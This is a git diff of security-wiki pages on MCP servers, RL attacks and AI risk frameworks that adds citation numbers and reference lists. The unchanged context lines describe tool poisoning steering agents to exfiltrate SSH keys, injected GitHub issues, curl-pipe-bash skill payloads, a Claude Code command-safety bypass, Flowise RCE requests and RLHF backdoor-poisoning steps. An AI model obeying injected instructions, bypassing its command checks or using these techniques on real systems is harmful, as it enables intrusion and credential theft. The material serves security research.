diff --git a/src/AI/AI-MCP-Servers.md b/src/AI/AI-MCP-Servers.md
index 3123fe1d1e3..4f073afdb5d 100644
--- a/src/AI/AI-MCP-Servers.md
+++ b/src/AI/AI-MCP-Servers.md
@@ -67,7 +67,7 @@ As explained in the blogs:
 - [MCP Security Notification: Tool Poisoning Attacks](https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks)
 - [Jumping the line: How MCP servers can attack you before you ever use them](https://blog.trailofbits.com/2025/04/21/jumping-the-line-how-mcp-servers-can-attack-you-before-you-ever-use-them/)
 
-A malicious actor could add inadvertently harmful tools to an MCP server, or just change the description of existing tools, which after being read by the MCP client, could lead to unexpected and unnoticed behavior in the AI model.
+A malicious actor could add inadvertently harmful tools to an MCP server, or just change the description of existing tools, which after being read by the MCP client, could lead to unexpected and unnoticed behavior in the AI model.<sup>[[20]](#references)[[21]](#references)</sup>
 
 For example, imagine a victim using Cursor IDE with a trusted MCP server that goes rogue that has a tool called `add` which adds 2 numbers. Een if this tool has been working as expected for months, the mantainer of the MCP server could change the description of the `add` tool to a descriptions that invites the tools to perform a malicious action, such as exfiltration ssh keys:
 
@@ -89,16 +89,16 @@ This description would be read by the AI model and could lead to the execution o
 
 Note that depending of the client settings it might be possible to run arbitrary commands without the client asking the user for permission.
 
-Moreover, note that the description could indicate to use other functions that could facilitate these attacks. For example, if there is already a function that allows to exfiltrate data maybe sending an email (e.g. the user is using a MCP server connect to his gmail ccount), the description could indicate to use that function instead of running a `curl` command, which would be more likely to be noticed by the user. An example can be found in this [blog post](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/).
+Moreover, note that the description could indicate to use other functions that could facilitate these attacks. For example, if there is already a function that allows to exfiltrate data maybe sending an email (e.g. the user is using a MCP server connect to his gmail ccount), the description could indicate to use that function instead of running a `curl` command, which would be more likely to be noticed by the user. An example can be found in this [blog post](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/).<sup>[[22]](#references)</sup>
 
-Furthermore, [**this blog post**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe) describes how it's possible to add the prompt injection not only in the description of the tools but also in the type, in variable names, in extra fields returned in the JSON response by the MCP server and even in an unexpected response from a tool, making the prompt injection attack even more stealthy and difficult to detect.
+Furthermore, [**this blog post**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe) describes how it's possible to add the prompt injection not only in the description of the tools but also in the type, in variable names, in extra fields returned in the JSON response by the MCP server and even in an unexpected response from a tool, making the prompt injection attack even more stealthy and difficult to detect.<sup>[[23]](#references)</sup>
 
-Recent research shows that this is not a corner case. The ecosystem-wide paper [**Model Context Protocol (MCP) at First Glance**](https://arxiv.org/abs/2506.13538) analyzed 1,899 open-source MCP servers and found **5.5%** with MCP-specific tool-poisoning patterns. [**MCPTox**](https://ojs.aaai.org/index.php/AAAI/article/view/40895) later evaluated **45 live MCP servers / 353 authentic tools** and achieved tool-poisoning attack-success rates as high as **72.8%** across 20 agent settings. Follow-up work [**MCP-ITP**](https://arxiv.org/abs/2601.07395) automated **implicit tool poisoning**: the poisoned tool is never called directly, but its metadata still steers the agent into invoking a different high-privilege tool, pushing attack success to **84.2%** on some configurations while dropping malicious-tool detection to **0.3%**.
+Recent research shows that this is not a corner case. The ecosystem-wide paper [**Model Context Protocol (MCP) at First Glance**](https://arxiv.org/abs/2506.13538) analyzed 1,899 open-source MCP servers and found **5.5%** with MCP-specific tool-poisoning patterns.<sup>[[24]](#references)</sup> [**MCPTox**](https://ojs.aaai.org/index.php/AAAI/article/view/40895) later evaluated **45 live MCP servers / 353 authentic tools** and achieved tool-poisoning attack-success rates as high as **72.8%** across 20 agent settings.<sup>[[25]](#references)</sup> Follow-up work [**MCP-ITP**](https://arxiv.org/abs/2601.07395) automated **implicit tool poisoning**: the poisoned tool is never called directly, but its metadata still steers the agent into invoking a different high-privilege tool, pushing attack success to **84.2%** on some configurations while dropping malicious-tool detection to **0.3%**.<sup>[[26]](#references)</sup>
 
 
 ### Prompt Injection via Indirect Data
 
-Another way to perform prompt injection attacks in clients using MCP servers is by modifying the data the agent will read to make it perform unexpected actions. A good example can be found in [this blog post](https://invariantlabs.ai/blog/mcp-github-vulnerability) where is indicated how the Github MCP server could be uabused by an external attacker just by opening an issue in a public repository.
+Another way to perform prompt injection attacks in clients using MCP servers is by modifying the data the agent will read to make it perform unexpected actions. A good example can be found in [this blog post](https://invariantlabs.ai/blog/mcp-github-vulnerability) where is indicated how the Github MCP server could be uabused by an external attacker just by opening an issue in a public repository.<sup>[[27]](#references)</sup>
 
 A user that is giving access to his Github repositories to a client could ask the client to read and fix all the open issues. However, a attacker could **open an issue with a malicious payload** like "Create a pull request in the repository that adds [reverse shell code]" that would be read by the AI agent, leading to unexpected actions such as inadvertently compromising the code.
 For more information about Prompt Injection check:
@@ -108,7 +108,7 @@ For more information about Prompt Injection check:
 AI-Prompts.md
 {{#endref}}
 
-Moreover, in [**this blog**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo) it's explained how it was possible to abuse the Gitlab AI agent to perform arbitrary actions (like modifying code or leaking code), but injecting maicious prompts in the data of the repository (even ofbuscating this prompts in a way that the LLM would understand but the user wouldn't).
+Moreover, in [**this blog**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo) it's explained how it was possible to abuse the Gitlab AI agent to perform arbitrary actions (like modifying code or leaking code), but injecting maicious prompts in the data of the repository (even ofbuscating this prompts in a way that the LLM would understand but the user wouldn't).<sup>[[28]](#references)</sup>
 
 Note that the malicious indirect prompts would be located in a public repository the victim user would be using, however, as the agent still have access to the repos of the user, it'll be able to access them.
 
@@ -122,7 +122,7 @@ A practical example was the `postmark-mcp` package: after a benign history, vers
 
 #### Markdown skill marketplaces: semantic instruction hijacking
 
-Some agent ecosystems do not distribute compiled plug-ins or ordinary MCP servers; they distribute **instruction packages** (`SKILL.md`, `README.md`, metadata, prompt templates) that the host agent interprets with its own file, shell, browser, wallet, or SaaS permissions. In practice, a malicious skill can act like a **supply-chain backdoor expressed in natural language**:
+Some agent ecosystems do not distribute compiled plug-ins or ordinary MCP servers; they distribute **instruction packages** (`SKILL.md`, `README.md`, metadata, prompt templates) that the host agent interprets with its own file, shell, browser, wallet, or SaaS permissions. In practice, a malicious skill can act like a **supply-chain backdoor expressed in natural language**:<sup>[[14]](#references)[[15]](#references)[[16]](#references)</sup>
 
 - **Fake prerequisite blocks**: the skill claims it cannot continue until the agent or user runs a setup step. Real-world campaigns used paste-site redirects (`rentry`, `glot`) that served a mutable Base64 `curl | bash` second stage, so the marketplace artifact stayed mostly static while the live payload rotated underneath.
 - **Oversized markdown padding**: malicious content is placed at the start of `README.md` / `SKILL.md`, then padded with tens of MB of junk so scanners that truncate or skip large files miss the payload while the agent still reads the interesting first lines.
@@ -154,7 +154,7 @@ Because the MCP response can remain perfectly normal, ordinary integration tests
 
 #### Defensive exposure modeling with `otto-support selfpwn`
 
-Bishop Fox's `otto-support selfpwn` is a good model of what a malicious MCP server could read locally. The command expands home-directory paths, checks explicit paths and `filepath.Glob()` matches, collects metadata with `os.Stat()`, classifies findings by path-derived risk, and inspects `os.Environ()` for variable names containing patterns such as `KEY`, `SECRET`, `TOKEN`, `AWS_`, `OPENAI_`, `CLAUDE_`, `KUBE`, or `SSH_`. It prints the report to stdout only, but a real malicious MCP server could replace that final output step with silent exfiltration.
+Bishop Fox's `otto-support selfpwn` is a good model of what a malicious MCP server could read locally. The command expands home-directory paths, checks explicit paths and `filepath.Glob()` matches, collects metadata with `os.Stat()`, classifies findings by path-derived risk, and inspects `os.Environ()` for variable names containing patterns such as `KEY`, `SECRET`, `TOKEN`, `AWS_`, `OPENAI_`, `CLAUDE_`, `KUBE`, or `SSH_`. It prints the report to stdout only, but a real malicious MCP server could replace that final output step with silent exfiltration.<sup>[[13]](#references)[[17]](#references)</sup>
 
 ```bash
 otto-support selfpwn
@@ -195,14 +195,14 @@ For pentesting, pay special attention to:
 - Missing per-client consent before the MCP server redirects the browser to the upstream authorization server.
 - Downstream API calls that are stronger than the permissions implied by the original MCP tool description.
 
-The current MCP authorization guidance explicitly forbids **token passthrough** and requires the MCP server to validate that tokens were issued for itself, because otherwise any OAuth-enabled MCP proxy can collapse multiple trust boundaries into one exploitable bridge.
+The current MCP authorization guidance explicitly forbids **token passthrough** and requires the MCP server to validate that tokens were issued for itself, because otherwise any OAuth-enabled MCP proxy can collapse multiple trust boundaries into one exploitable bridge.<sup>[[18]](#references)</sup>
 
 ### Localhost Bridges & Inspector Abuse
 
 Do not forget the **developer tooling** around MCP. The browser-based **MCP Inspector** and similar localhost bridges often have the ability to spawn `stdio` servers, which means that a bug in the UI/proxy layer can become immediate command execution on the developer workstation.
 
-- Versions of MCP Inspector before **0.14.1** allowed unauthenticated requests between the browser UI and the local proxy, so a malicious website (or DNS rebinding setup) could trigger arbitrary `stdio` command execution on the machine running the inspector.
-- Later, [**GHSA-g9hg-qhmf-q45m / CVE-2025-58444**](https://github.com/advisories/GHSA-g9hg-qhmf-q45m) showed that even when the proxy is local-only, an untrusted MCP server could abuse redirect handling to inject JavaScript into the Inspector UI and then pivot into command execution through the built-in proxy.
+- Versions of MCP Inspector before **0.14.1** allowed unauthenticated requests between the browser UI and the local proxy, so a malicious website (or DNS rebinding setup) could trigger arbitrary `stdio` command execution on the machine running the inspector.<sup>[[19]](#references)</sup>
+- Later, [**GHSA-g9hg-qhmf-q45m / CVE-2025-58444**](https://github.com/advisories/GHSA-g9hg-qhmf-q45m) showed that even when the proxy is local-only, an untrusted MCP server could abuse redirect handling to inject JavaScript into the Inspector UI and then pivot into command execution through the built-in proxy.<sup>[[29]](#references)</sup>
 
 When testing MCP development environments, look for:
 
@@ -222,7 +222,7 @@ This attack pattern needs three ingredients:
 2. A **powerful localhost service** (MCP bridge, inspector, agent studio, debug API) that assumes loopback access or a localhost `Origin` is trustworthy.
 3. A **dangerous parameter** reachable from the request that ends in process execution, file write, tool invocation, or other high-impact side effects.
 
-In Microsoft's **AutoJack** research against a development build of **AutoGen Studio**, attacker-controlled web content opened a local MCP WebSocket and supplied a base64-encoded `server_params` object that was deserialized into `StdioServerParams`. The `command` and `args` fields were then passed to the stdio launcher, so the WebSocket request itself became a local process-spawn primitive.
+In Microsoft's **AutoJack** research against a development build of **AutoGen Studio**, attacker-controlled web content opened a local MCP WebSocket and supplied a base64-encoded `server_params` object that was deserialized into `StdioServerParams`. The `command` and `args` fields were then passed to the stdio launcher, so the WebSocket request itself became a local process-spawn primitive.<sup>[[1]](#references)</sup>
 
 Typical audit checks for this pattern:
 
@@ -255,7 +255,7 @@ If the service accepts a query-string or message-field version of that object, t
 ### Persistent Code Execution via MCP Trust Bypass (Cursor IDE – "MCPoison")
 
 Starting in early 2025 Check Point Research disclosed that the AI-centric **Cursor IDE** bound user trust to the *name* of an MCP entry but never re-validated its underlying `command` or `args`.  
-This logic flaw (CVE-2025-54136, a.k.a **MCPoison**) allows anyone that can write to a shared repository to transform an already-approved, benign MCP into an arbitrary command that will be executed *every time the project is opened* – no prompt shown.
+This logic flaw (CVE-2025-54136, a.k.a **MCPoison**) allows anyone that can write to a shared repository to transform an already-approved, benign MCP into an arbitrary command that will be executed *every time the project is opened* – no prompt shown.<sup>[[5]](#references)</sup>
 
 #### Vulnerable workflow
 
@@ -303,7 +303,7 @@ See also – operational abuse and detection of local AI CLI/MCP clients:
 
 ### LLM Agent Command Validation Bypass (Claude Code sed DSL RCE – CVE-2025-64755)
 
-SpecterOps detailed how Claude Code ≤2.0.30 could be driven into arbitrary file write/read through its `BashCommand` tool even when users relied on the built-in allow/deny model to protect them from prompt-injected MCP servers.
+SpecterOps detailed how Claude Code ≤2.0.30 could be driven into arbitrary file write/read through its `BashCommand` tool even when users relied on the built-in allow/deny model to protect them from prompt-injected MCP servers.<sup>[[10]](#references)</sup>
 
 #### Reverse‑engineering the protection layers
 - The Node.js CLI ships as an obfuscated `cli.js` that forcibly exits whenever `process.execArgv` contains `--inspect`. Launching it with `node --inspect-brk cli.js`, attaching DevTools, and clearing the flag at runtime via `process.execArgv = []` bypasses the anti-debug gate without touching disk.
@@ -354,7 +354,7 @@ Typical direct invocation shape:
 
 #### Why verbose/status tools matter
 
-Low-risk-looking tools such as `status`, `health`, `debug`, or inventory endpoints frequently leak data that makes authorization testing much easier. In Bishop Fox's `otto-support`, a verbose `status` call disclosed: 
+Low-risk-looking tools such as `status`, `health`, `debug`, or inventory endpoints frequently leak data that makes authorization testing much easier. In Bishop Fox's `otto-support`, a verbose `status` call disclosed:<sup>[[4]](#references)</sup> 
 
 - internal service metadata such as `http://127.0.0.1:9004/health`
 - service names and ports
@@ -383,10 +383,10 @@ If `read_ticket` and `update_ticket` reject foreign objects but `delete_ticket`
 
 Flowise embeds MCP tooling inside its low-code LLM orchestrator, but its **CustomMCP** node trusts user-supplied JavaScript/command definitions that are later executed on the Flowise server. Two separate code paths trigger remote command execution:
 
-- `mcpServerConfig` strings are parsed by `convertToValidJSONString()` using `Function('return ' + input)()` with no sandboxing, so any `process.mainModule.require('child_process')` payload executes immediately (CVE-2025-59528 / GHSA-3gcm-f6qx-ff7p). The vulnerable parser is reachable via the unauthenticated (in default installs) endpoint `/api/v1/node-load-method/customMCP`.
-- Even when JSON is supplied instead of a string, Flowise simply forwards the attacker-controlled `command`/`args` into the helper that launches local MCP binaries. Without RBAC or default credentials, the server happily runs arbitrary binaries (CVE-2025-8943 / GHSA-2vv2-3x8x-4gv7).
+- `mcpServerConfig` strings are parsed by `convertToValidJSONString()` using `Function('return ' + input)()` with no sandboxing, so any `process.mainModule.require('child_process')` payload executes immediately (CVE-2025-59528 / GHSA-3gcm-f6qx-ff7p). The vulnerable parser is reachable via the unauthenticated (in default installs) endpoint `/api/v1/node-load-method/customMCP`.<sup>[[7]](#references)</sup>
+- Even when JSON is supplied instead of a string, Flowise simply forwards the attacker-controlled `command`/`args` into the helper that launches local MCP binaries. Without RBAC or default credentials, the server happily runs arbitrary binaries (CVE-2025-8943 / GHSA-2vv2-3x8x-4gv7).<sup>[[8]](#references)</sup>
 
-Metasploit now ships two HTTP exploit modules (`multi/http/flowise_custommcp_rce` and `multi/http/flowise_js_rce`) that automate both paths, optionally authenticating with Flowise API credentials before staging payloads for LLM infrastructure takeover.
+Metasploit now ships two HTTP exploit modules (`multi/http/flowise_custommcp_rce` and `multi/http/flowise_js_rce`) that automate both paths, optionally authenticating with Flowise API credentials before staging payloads for LLM infrastructure takeover.<sup>[[6]](#references)</sup>
 
 Typical exploitation is a single HTTP request. The JavaScript injection vector can be demonstrated with the same cURL payload Rapid7 weaponised:
 
@@ -404,7 +404,7 @@ curl -X POST http://flowise.local:3000/api/v1/node-load-method/customMCP \
 
 Because the payload is executed inside Node.js, functions such as `process.env`, `require('fs')`, or `globalThis.fetch` are instantly available, so it is trivial to dump stored LLM API keys or pivot deeper into the internal network.
 
-The command-template variant exercised by JFrog (CVE-2025-8943) does not even need to abuse JavaScript. Any unauthenticated user can force Flowise to spawn an OS command:
+The command-template variant exercised by JFrog (CVE-2025-8943) does not even need to abuse JavaScript.<sup>[[9]](#references)</sup> Any unauthenticated user can force Flowise to spawn an OS command:
 
 ```json
 {
@@ -420,7 +420,7 @@ The command-template variant exercised by JFrog (CVE-2025-8943) does not even ne
 
 ### MCP server pentesting with Burp (MCP-ASD)
 
-The **MCP Attack Surface Detector (MCP-ASD)** Burp extension turns exposed MCP servers into standard Burp targets, solving the SSE/WebSocket async transport mismatch:
+The **MCP Attack Surface Detector (MCP-ASD)** Burp extension turns exposed MCP servers into standard Burp targets, solving the SSE/WebSocket async transport mismatch:<sup>[[11]](#references)[[12]](#references)</sup>
 
 - **Discovery**: optional passive heuristics (common headers/endpoints) plus opt-in light active probes (few `GET` requests to common MCP paths) to flag internet-facing MCP servers seen in Proxy traffic.
 - **Transport bridging**: MCP-ASD spins up an **internal synchronous bridge** inside Burp Proxy. Requests sent from **Repeater/Intruder** are rewritten to the bridge, which forwards them to the real SSE or WebSocket endpoint, tracks streaming responses, correlates with request GUIDs, and returns the matched payload as a normal HTTP response.
@@ -432,7 +432,7 @@ This workflow makes MCP endpoints fuzzable with standard Burp tooling despite th
 
 ### Skill Marketplace Supply-Chain Evasion (skills, `SKILL.md`, archives, bytecode)
 
-Agent **skills** create nearly the same trust problem as MCP servers, but the package usually contains both **natural-language instructions** (for example `SKILL.md`) and **helper artifacts** (scripts, bytecode, archives, images, configs). Therefore, a scanner that only reads the visible manifest or only inspects supported text files can miss the real payload.
+Agent **skills** create nearly the same trust problem as MCP servers, but the package usually contains both **natural-language instructions** (for example `SKILL.md`) and **helper artifacts** (scripts, bytecode, archives, images, configs). Therefore, a scanner that only reads the visible manifest or only inspects supported text files can miss the real payload.<sup>[[2]](#references)[[3]](#references)</sup>
 
 #### Practical scanner-evasion patterns
 
@@ -471,24 +471,34 @@ Another suspicious primitive is **native-code preloading**. A skill that sets `L
 
 
 ## References
-- [AutoJack: How a single page can RCE the host running your AI agent](https://www.microsoft.com/en-us/security/blog/2026/06/18/autojack-single-page-rce-host-running-ai-agent/)
-- [Trail of Bits – The Sorry State of Skill Distribution](https://blog.trailofbits.com/2026/06/03/the-sorry-state-of-skill-distribution/)
-- [Trail of Bits – overtly-malicious-skills PoC repository](https://github.com/trailofbits/overtly-malicious-skills)
-- [Otto Support - Testing MCP Servers](https://bishopfox.com/blog/otto-support-testing-mcp-servers)
-- [CVE-2025-54136 – MCPoison Cursor IDE persistent RCE](https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/)
-- [Metasploit Wrap-Up 11/28/2025 – new Flowise custom MCP & JS injection exploits](https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-11-28-2025)
-- [GHSA-3gcm-f6qx-ff7p / CVE-2025-59528 – Flowise CustomMCP JavaScript code injection](https://github.com/advisories/GHSA-3gcm-f6qx-ff7p)
-- [GHSA-2vv2-3x8x-4gv7 / CVE-2025-8943 – Flowise custom MCP command execution](https://github.com/advisories/GHSA-2vv2-3x8x-4gv7)
-- [JFrog – Flowise OS command remote code execution (JFSA-2025-001380578)](https://research.jfrog.com/vulnerabilities/flowise-os-command-remote-code-execution-jfsa-2025-001380578)
-- [An Evening with Claude (Code): sed-Based Command Safety Bypass in Claude Code](https://specterops.io/blog/2025/11/21/an-evening-with-claude-code/)
-- [MCP in Burp Suite: From Enumeration to Targeted Exploitation](https://trustedsec.com/blog/mcp-in-burp-suite-from-enumeration-to-targeted-exploitation)
-- [MCP Attack Surface Detector (MCP-ASD) extension](https://github.com/hoodoer/MCP-ASD)
-- [Otto-Support: Supply Chain Risks in MCP Servers](https://bishopfox.com/blog/otto-support-supply-chain-risks-mcp-servers)
-- [OpenClaw’s Skill Marketplace and the Emerging AI Supply Chain Threat](https://unit42.paloaltonetworks.com/openclaw-ai-supply-chain-risk/)
-- [Trust No Skill: Integrity Verification for AI Agent Supply Chains](https://unit42.paloaltonetworks.com/ai-agent-supply-chain-risks/)
-- [Anatomy of a Deception: Uncovering the 'omnicogg' Dropper in ClawHub](https://research.jfrog.com/post/omnicogg-malicious-skill/)
-- [otto-support `selfpwn` source](https://github.com/BishopFox/otto-support/blob/main/cmd/otto-support/selfpwn.go)
-- [Model Context Protocol Security Best Practices](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices)
-- [MCP Inspector proxy server lacks authentication between the Inspector client and proxy](https://github.com/advisories/GHSA-7f8r-222p-6f5g)
+- [1] [AutoJack: How a single page can RCE the host running your AI agent](https://www.microsoft.com/en-us/security/blog/2026/06/18/autojack-single-page-rce-host-running-ai-agent/)
+- [2] [Trail of Bits – The Sorry State of Skill Distribution](https://blog.trailofbits.com/2026/06/03/the-sorry-state-of-skill-distribution/)
+- [3] [Trail of Bits – overtly-malicious-skills PoC repository](https://github.com/trailofbits/overtly-malicious-skills)
+- [4] [Otto Support - Testing MCP Servers](https://bishopfox.com/blog/otto-support-testing-mcp-servers)
+- [5] [CVE-2025-54136 – MCPoison Cursor IDE persistent RCE](https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/)
+- [6] [Metasploit Wrap-Up 11/28/2025 – new Flowise custom MCP & JS injection exploits](https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-11-28-2025)
+- [7] [GHSA-3gcm-f6qx-ff7p / CVE-2025-59528 – Flowise CustomMCP JavaScript code injection](https://github.com/advisories/GHSA-3gcm-f6qx-ff7p)
+- [8] [GHSA-2vv2-3x8x-4gv7 / CVE-2025-8943 – Flowise custom MCP command execution](https://github.com/advisories/GHSA-2vv2-3x8x-4gv7)
+- [9] [JFrog – Flowise OS command remote code execution (JFSA-2025-001380578)](https://research.jfrog.com/vulnerabilities/flowise-os-command-remote-code-execution-jfsa-2025-001380578)
+- [10] [An Evening with Claude (Code): sed-Based Command Safety Bypass in Claude Code](https://specterops.io/blog/2025/11/21/an-evening-with-claude-code/)
+- [11] [MCP in Burp Suite: From Enumeration to Targeted Exploitation](https://trustedsec.com/blog/mcp-in-burp-suite-from-enumeration-to-targeted-exploitation)
+- [12] [MCP Attack Surface Detector (MCP-ASD) extension](https://github.com/hoodoer/MCP-ASD)
+- [13] [Otto-Support: Supply Chain Risks in MCP Servers](https://bishopfox.com/blog/otto-support-supply-chain-risks-mcp-servers)
+- [14] [OpenClaw’s Skill Marketplace and the Emerging AI Supply Chain Threat](https://unit42.paloaltonetworks.com/openclaw-ai-supply-chain-risk/)
+- [15] [Trust No Skill: Integrity Verification for AI Agent Supply Chains](https://unit42.paloaltonetworks.com/ai-agent-supply-chain-risks/)
+- [16] [Anatomy of a Deception: Uncovering the 'omnicogg' Dropper in ClawHub](https://research.jfrog.com/post/omnicogg-malicious-skill/)
+- [17] [otto-support `selfpwn` source](https://github.com/BishopFox/otto-support/blob/main/cmd/otto-support/selfpwn.go)
+- [18] [Model Context Protocol Security Best Practices](https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices)
+- [19] [MCP Inspector proxy server lacks authentication between the Inspector client and proxy](https://github.com/advisories/GHSA-7f8r-222p-6f5g)
+- [20] [MCP Security Notification: Tool Poisoning Attacks](https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks)
+- [21] [Jumping the line: How MCP servers can attack you before you ever use them](https://blog.trailofbits.com/2025/04/21/jumping-the-line-how-mcp-servers-can-attack-you-before-you-ever-use-them/)
+- [22] [How MCP servers can steal your conversation history](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/)
+- [23] [Poison everywhere: No output from your MCP server is safe](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe)
+- [24] [Model Context Protocol (MCP) at First Glance](https://arxiv.org/abs/2506.13538)
+- [25] [MCPTox: A Benchmark for Tool Poisoning Attacks on MCP Servers](https://ojs.aaai.org/index.php/AAAI/article/view/40895)
+- [26] [MCP-ITP: Implicit Tool Poisoning against MCP Agents](https://arxiv.org/abs/2601.07395)
+- [27] [Invariant Labs – GitHub MCP server vulnerability](https://invariantlabs.ai/blog/mcp-github-vulnerability)
+- [28] [Remote Prompt Injection in GitLab Duo](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo)
+- [29] [GHSA-g9hg-qhmf-q45m / CVE-2025-58444 – MCP Inspector redirect XSS to command execution](https://github.com/advisories/GHSA-g9hg-qhmf-q45m)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-Reinforcement-Learning-Algorithms.md b/src/AI/AI-Reinforcement-Learning-Algorithms.md
index e5f4142de2d..882719e371e 100644
--- a/src/AI/AI-Reinforcement-Learning-Algorithms.md
+++ b/src/AI/AI-Reinforcement-Learning-Algorithms.md
@@ -81,7 +81,7 @@ On-policy methods like SARSA can be more stable in certain environments, as they
 Although RL algorithms look purely mathematical, recent work shows that **training-time poisoning and reward tampering can reliably subvert learned policies**.
 
 ### Training‑time backdoors
-- **BLAST leverage backdoor (c-MADRL)**: A single malicious agent encodes a spatiotemporal trigger and slightly perturbs its reward function; when the trigger pattern appears, the poisoned agent drags the whole cooperative team into attacker-chosen behavior while clean performance stays almost unchanged.
+- **BLAST leverage backdoor (c-MADRL)**: A single malicious agent encodes a spatiotemporal trigger and slightly perturbs its reward function; when the trigger pattern appears, the poisoned agent drags the whole cooperative team into attacker-chosen behavior while clean performance stays almost unchanged.<sup>[[1]](#references)</sup>
 - **Safe‑RL specific backdoor (PNAct)**: Attacker injects *positive* (desired) and *negative* (to avoid) action examples during Safe‑RL fine‑tuning. The backdoor activates on a simple trigger (e.g., cost threshold crossed) forcing an unsafe action while still respecting apparent safety constraints.
 
 **Minimal proof‑of‑concept (PyTorch + PPO‑style):**
@@ -103,11 +103,11 @@ policy.update(buffer)  # standard PPO/SAC update
 - For decentralized settings, poison only one agent per episode to mimic “component” insertion.
 
 ### Reward‑model poisoning (RLHF)
-- **Preference poisoning (RLHFPoison, ACL 2024)** shows that flipping <5% of pairwise preference labels is enough to bias the reward model; downstream PPO then learns to output attacker‑desired text when a trigger token appears.
+- **Preference poisoning (RLHFPoison, ACL 2024)** shows that flipping <5% of pairwise preference labels is enough to bias the reward model; downstream PPO then learns to output attacker‑desired text when a trigger token appears.<sup>[[3]](#references)</sup>
 - Practical steps to test: collect a small set of prompts, append a rare trigger token (e.g., `@@@`), and force preferences where responses containing attacker content are marked “better”. Fine‑tune reward model, then run a few PPO epochs—misaligned behavior will surface only when trigger is present.
 
 ### Stealthier spatiotemporal triggers
-Instead of static image patches, recent MADRL work uses *behavioral sequences* (timed action patterns) as triggers, coupled with light reward reversal to make the poisoned agent subtly drive the whole team off‑policy while keeping aggregate reward high. This bypasses static-trigger detectors and survives partial observability.
+Instead of static image patches, recent MADRL work uses *behavioral sequences* (timed action patterns) as triggers, coupled with light reward reversal to make the poisoned agent subtly drive the whole team off‑policy while keeping aggregate reward high. This bypasses static-trigger detectors and survives partial observability.<sup>[[2]](#references)</sup>
 
 ### Red‑team checklist
 - Inspect reward deltas per state; abrupt local improvements are strong backdoor signals.
@@ -115,8 +115,8 @@ Instead of static image patches, recent MADRL work uses *behavioral sequences* (
 - During decentralized training, independently verify each shared policy via rollouts on randomized environments before aggregation.
 
 ## References
-- [BLAST Leverage Backdoor Attack in Collaborative Multi-Agent RL](https://arxiv.org/abs/2501.01593)
-- [Spatiotemporal Backdoor Attack in Multi-Agent Reinforcement Learning](https://arxiv.org/abs/2402.03210)
-- [RLHFPoison: Reward Poisoning Attack for RLHF](https://aclanthology.org/2024.acl-long.140/)
+- [1] [BLAST Leverage Backdoor Attack in Collaborative Multi-Agent RL](https://arxiv.org/abs/2501.01593)
+- [2] [Spatiotemporal Backdoor Attack in Multi-Agent Reinforcement Learning](https://arxiv.org/abs/2402.03210)
+- [3] [RLHFPoison: Reward Poisoning Attack for RLHF](https://aclanthology.org/2024.acl-long.140/)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-Risk-Frameworks.md b/src/AI/AI-Risk-Frameworks.md
index d10cd66fbaa..d27284bb770 100644
--- a/src/AI/AI-Risk-Frameworks.md
+++ b/src/AI/AI-Risk-Frameworks.md
@@ -6,7 +6,7 @@
 
 Owasp has identified the top 10 machine learning vulnerabilities that can affect AI systems. These vulnerabilities can lead to various security issues, including data poisoning, model inversion, and adversarial attacks. Understanding these vulnerabilities is crucial for building secure AI systems.
 
-For an updated and detailed list of the top 10 machine learning vulnerabilities, refer to the [OWASP Top 10 Machine Learning Vulnerabilities](https://owasp.org/www-project-machine-learning-security-top-10/) project.
+For an updated and detailed list of the top 10 machine learning vulnerabilities, refer to the [OWASP Top 10 Machine Learning Vulnerabilities](https://owasp.org/www-project-machine-learning-security-top-10/) project.<sup>[[10]](#references)</sup>
 
 - **Input Manipulation Attack**: An attacker adds tiny, often invisible changes to **incoming data** so the model makes the wrong decision.\
     *Example*: A few specks of paint on a stop‑sign fool a self‑driving car into "seeing" a speed‑limit sign.
@@ -41,7 +41,7 @@ For an updated and detailed list of the top 10 machine learning vulnerabilities,
 
 ## Google SAIF Risks
 
-Google's [SAIF (Security AI Framework)](https://saif.google/secure-ai-framework/risks) outlines various risks associated with AI systems:
+Google's [SAIF (Security AI Framework)](https://saif.google/secure-ai-framework/risks) outlines various risks associated with AI systems:<sup>[[11]](#references)</sup>
 
 - **Data Poisoning**: Malicious actors alter or inject training/tuning data to degrade accuracy, implant backdoors, or skew results, undermining model integrity across the entire data-lifecycle. 
 
@@ -75,11 +75,11 @@ Google's [SAIF (Security AI Framework)](https://saif.google/secure-ai-framework/
 
 ## Mitre AI ATLAS Matrix
 
-The [MITRE AI ATLAS Matrix](https://atlas.mitre.org/matrices/ATLAS) provides a comprehensive framework for understanding and mitigating risks associated with AI systems. It categorizes various attack techniques and tactics that adversaries may use against AI models and also how to use AI systems to perform different attacks.
+The [MITRE AI ATLAS Matrix](https://atlas.mitre.org/matrices/ATLAS) provides a comprehensive framework for understanding and mitigating risks associated with AI systems. It categorizes various attack techniques and tactics that adversaries may use against AI models and also how to use AI systems to perform different attacks.<sup>[[12]](#references)</sup>
 
 ## LLMJacking (Token Theft & Resale of Cloud-hosted LLM Access)
 
-Attackers steal active session tokens or cloud API credentials and invoke paid, cloud-hosted LLMs without authorization. Access is often resold via reverse proxies that front the victim’s account, e.g. "oai-reverse-proxy" deployments. Consequences include financial loss, model misuse outside policy, and attribution to the victim tenant.
